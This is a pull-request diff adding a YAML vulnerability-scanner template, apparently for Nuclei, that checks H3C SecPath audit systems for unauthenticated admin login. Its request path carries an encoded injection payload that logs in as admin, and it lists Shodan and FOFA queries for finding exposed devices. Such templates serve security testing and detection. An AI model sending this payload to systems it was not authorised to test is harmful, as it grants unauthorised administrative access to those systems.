Merge pull request #4373 from ritikchaddha/patch-54

Create h3c-secparh-default-login.yaml

misconfiguration/unauthorized-h3csecparh-login.yaml

@@ -0,0 +1,30 @@
+id: unauthorized-h3csecparh-login
+
+info:
+  name: Unauthorized H3C Secparh Login
+  author: ritikchaddha
+  severity: high
+  metadata:
+    verified: true
+    shodan-query: http.html:"H3C-SecPath-运维审计系统"
+    fofa-query: app="H3C-SecPath-运维审计系统" && body="2018"
+  tags: h3c,default-login,unauth
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "admin"
+          - "审计管理员"
+          - "错误的id"
+        condition: and
+
+      - type: status
+        status:
+          - 200